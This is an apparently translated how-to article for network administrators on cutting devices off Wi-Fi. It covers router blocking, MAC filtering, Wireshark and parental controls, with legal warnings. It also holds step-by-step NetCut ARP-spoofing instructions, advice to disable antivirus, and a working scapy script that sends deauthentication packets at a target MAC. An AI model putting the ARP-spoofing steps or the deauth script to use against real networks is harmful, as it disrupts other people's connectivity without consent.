How to Disconnect a User from Wi-Fi Using a Program: Step-by-Step Methods for Network Administrators

Disabling a user's Wi-Fi connection through software is a challenge faced by home and corporate network administrators. Reasons can vary, from unauthorized connections from neighboring devices to the need to restrict a child's internet access at night. However, it's important to understand that Any actions on someone else's network without the owner's consent may violate the law (in Russia - Article 272 of the Criminal Code of the Russian Federation on unauthorized access to computer information). This article is intended solely for legal use on his own networks where you have administrator rights.

There are several ways to disable it programmatically: from built-in router functions to specialized utilities like NetCut or WiresharkWe will analyze each method, taking into account its effectiveness, implementation complexity, and potential risks. We will pay special attention to legal aspects and alternative solutions (such as setting up parental controls), which are often simpler and safer.

1. Disabling via the router's web interface (the safest method)

Any modern router (TP-Link, ASUS, Keenetic, MikroTik) allows you to block devices directly through the control panel. This method does not require installing third-party software and works at the MAC addresses or IP.

To use the function:

• 🔌 Connect to the router via cable or Wi-Fi (preferably from a device with administrator rights).
• 🌐 Enter the router's IP address in your browser (usually 192.168.0.1, 192.168.1.1 or 192.168.8.1).
• 🔑 Log in (default logins and passwords are indicated on the router sticker or in the instructions).
• 📊 Find the section Wireless mode → DHCP Clients List or Device management.

You will see them in the list of connected devices. MAC addresses, IP and host names. For example, for TP-Link Archer C6 the path will be like this: Advanced Settings → Wireless → Wireless StatisticsHere you can:

• 🚫 Press the button Block next to the desired device (MAC blocking).
• ⏳ Set a time limit (function Parental control or Time Schedule).

⚠️ Note: MAC blocking is not 100% secure—an experienced user can spoof their device's MAC address. For added security, combine this method with other methods (such as hiding the SSID or IP filtering).

2. Using NetCut (ARP spoofing)

NetCut — one of the most famous utilities for network management, which allows you to disable devices by sending fake ARP packetsThe program runs on Windows and requires administrator rights. Important: This method illegal on other people's networks and may disrupt network operation if used incorrectly.

Algorithm of actions:

1. Download NetCut from the official website (https://arcai.com) and install.
2. Run the program as administrator.
3. In the main window, select your network adapter (if you have more than one).
4. Click Scan — the program will show a list of all devices on the network with their IP and MAC.
5. Select the device you want to disable and press Cut Off.

Interface example NetCut:

After pressing Cut Off The target device will lose internet access but will remain connected to Wi-Fi. To restore access, click Resume.

What is ARP spoofing and why is it dangerous?

ARP spoofing (or ARP poisoning) is a technique in which an attacker sends fake ARP packets onto a local network, associating their MAC address with the IP address of another device. This allows them to intercept traffic or block access. Risks:

1. Disruption of the entire network if used incorrectly.

2. Detection by antiviruses as a network attack.

3. Legal liability when using on other people's networks.

⚠️ Attention: Antiviruses (for example, Kaspersky, ESET NOD32) can block NetCut as potentially unsafe software. Before using the program, add it to the exceptions list or temporarily disable your antivirus (not recommended for public networks).

3. Python scripts for disabling devices

For advanced users, there is the option to write your own script on Python using the library scapyThis method is flexible, but requires programming knowledge and administrator rights.

Sample script for sending Deauth packets (disconnects the device from Wi-Fi):

from scapy.all import *

interface = "wlan0" # name of your network interface
target_mac = "A4:83:E7:12:F5:89" # MAC address of the target
gateway_mac = "B8:27:EB:12:34:56" # Router MAC address

def deauth(target, gateway, count=1):
packet = RadioTap() / Dot11(addr1=target, addr2=gateway, addr3=gateway) / Dot11Deauth()
sendp(packet, iface=interface, count=count, verbose=0)

deauth(target_mac, gateway_mac, count=5)

How does this work:

• 🐍 The script sends packets Dot11Deauth, which forcibly break the connection between the device and the router.
• 🔄 The device will try to connect again, but if you send packets continuously, access will be blocked.
• ⚙️ The script requires libraries to work scapy and superuser rights (sudo in Linux).

Install Python 3.x

Install the scapy library: pip install scapy

Check the network interface name: ifconfig (Linux) or ipconfig (Windows)

Run the script as administrator

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⚠️ Warning: Using scripts to disable devices on other people's networks is considered a cyberattack and is punishable by law. This method is provided for educational purposes only.

4. Setting up MAC filtering in the router

A more reliable method than manual locking is MAC filteringThis method allows connections only to specific devices, automatically blocking all others. It's suitable for home networks with a fixed number of devices.

Instructions for the router ASUS RT-AX88U:

1. Go to the router's web interface (192.168.50.1).
2. Go to Wireless Network → MAC Filter.
3. Select mode Allow only specified.
4. Add MAC addresses of trusted devices (can be copied from the client list).
5. Save the settings and reboot the router.

Example of a list of allowed MAC addresses:

After applying the filter, all devices whose MAC addresses are not included in the list will not be able to connect to Wi-Fi, even if they know the password.

5. Using Wireshark for analysis and blocking

Wireshark — a powerful network traffic analyzer that can be used to identify and subsequently block devices. Unlike NetCut, it does not block devices directly, but helps collect data for manual router configuration.

How to use Wireshark To disable devices:

1. Download and install Wireshark from the official website (https://www.wireshark.org).
2. Launch the program and select the network interface (Wi-Fi adapter).
3. Start capturing packets (Start).
4. Enter in the filter wlan.addr == aa:bb:cc:dd:ee:ff (replace with the MAC address of the target device).
5. Analyze traffic to confirm that the device is active.
6. Block it through your router (as described in section 1 or 4).

Wireshark It also allows you to identify suspicious activity, such as:

• 🔍 ARP scan — a sign of searching for vulnerabilities in the network.
• 📡 DNS spoofing - may indicate a man-in-the-middle attack.
• 🚨 Bulk port connections - a possible hacking attempt.

Built-in router functions

Programs like NetCut

Python scripts

MAC filtering

Another way-->

6. Alternative methods: parental controls and guest networks

If the goal isn't blocking other people's devices, but rather restricting access for family members or guests, it's worth considering more humane and secure methods:

• 👨‍👩‍👧‍👦 Parental control: most routers (Keenetic, Zyxel) allow you to set time limits or block access to certain sites. For example, in Keenetic this is done through Home Network → Access Profiles.
• 🏠 Guest network: Create a separate network for guests with limited speed and access time. TP-Link This is configured in Guest Network → Enable Guest Network.
• ⏰ Wi-Fi schedule: turn off the network on a schedule (for example, at night). ASUS This is configured in Wireless Network → Radio Schedule.

The advantages of these methods are:

• ✅ Legality - no interference with other people's devices required.
• ✅ Security - does not disrupt network operation.
• ✅ Flexibility – can be customized to suit specific needs (for example, limiting social media for a child).

⚠️ Caution: If you rent or use a corporate network, changing your router settings without the owner's consent may violate your contract. Always confirm access rights before making changes.

7. Legal aspects and ethics of use

Before using any of the methods described, it is important to understand legal consequences:

• 📜 In Russia, unauthorized access to computer information (including networks) is regulated Article 272 of the Criminal Code of the Russian Federation and may be punishable by a fine of up to 1 million rubles or imprisonment for up to 4 years.
• 🌍 In the European Union, similar actions fall under General Data Protection Regulation (GDPR).
• 🏢 In corporate networks, blocking devices without the consent of the IT department may be considered a violation of labor discipline.

Ethical alternatives:

• 🗣️ NegotiationIf your neighbor is using your Wi-Fi, try to negotiate or offer to split the cost of the internet.
• 🔒 Strengthening security: change your password to a complex one (at least 12 characters with numbers and special characters), enable WPA3, turn it off WPS.
• 📶 Hiding the SSID: This is not a panacea, but it will reduce the number of accidental connections.

FAQ: Frequently asked questions about disconnecting devices from Wi-Fi

Is it possible to disconnect a device from Wi-Fi without access to the router?

Technically yes, using programs like NetCut or Python scripts. However, this is illegal if the network doesn't belong to you. Moreover, modern routers can detect ARP attacks and block your device in response.

Why does the device still connect after being blocked by MAC?

The user has likely changed the MAC address of their device (this can easily be done in the Android/iOS settings or through programs like Technitium MAC Address Changer). Solution: Combine MAC blocking with IP filtering or use scripts to continuously monitor new MAC addresses.

How do I know who is connected to my Wi-Fi?

Methods:

1. Via the router's web interface (section Client list or DHCP Clients).
2. Using programs Wireless Network Watcher (Windows) or Fing (mobile devices).
3. Through the team arp -a in the terminal (shows IP and MAC addresses of devices in the local network).

Can the network owner detect that I used NetCut?

Yes. An experienced administrator will see abnormal ARP traffic in the router logs or through WiresharkFurthermore, antivirus software on target devices may detect the attack. If you don't own the network, the risk of detection and liability is very high.

Which routers support scheduled device blocking?

Function Parental control or Wi-Fi schedule It is found in almost all modern mid- and high-end routers, including:

• ASUS (RT-AX, RT-AC series)
• TP-Link (Archer, Deco)
• Keenetic (all models with NDMS 3.0+ firmware)
• MikroTik (through Firewall or Hotspot)
• Netgear (Nighthawk series)

In budget models (for example, Tenda or D-Link DIR-300) this feature may be absent.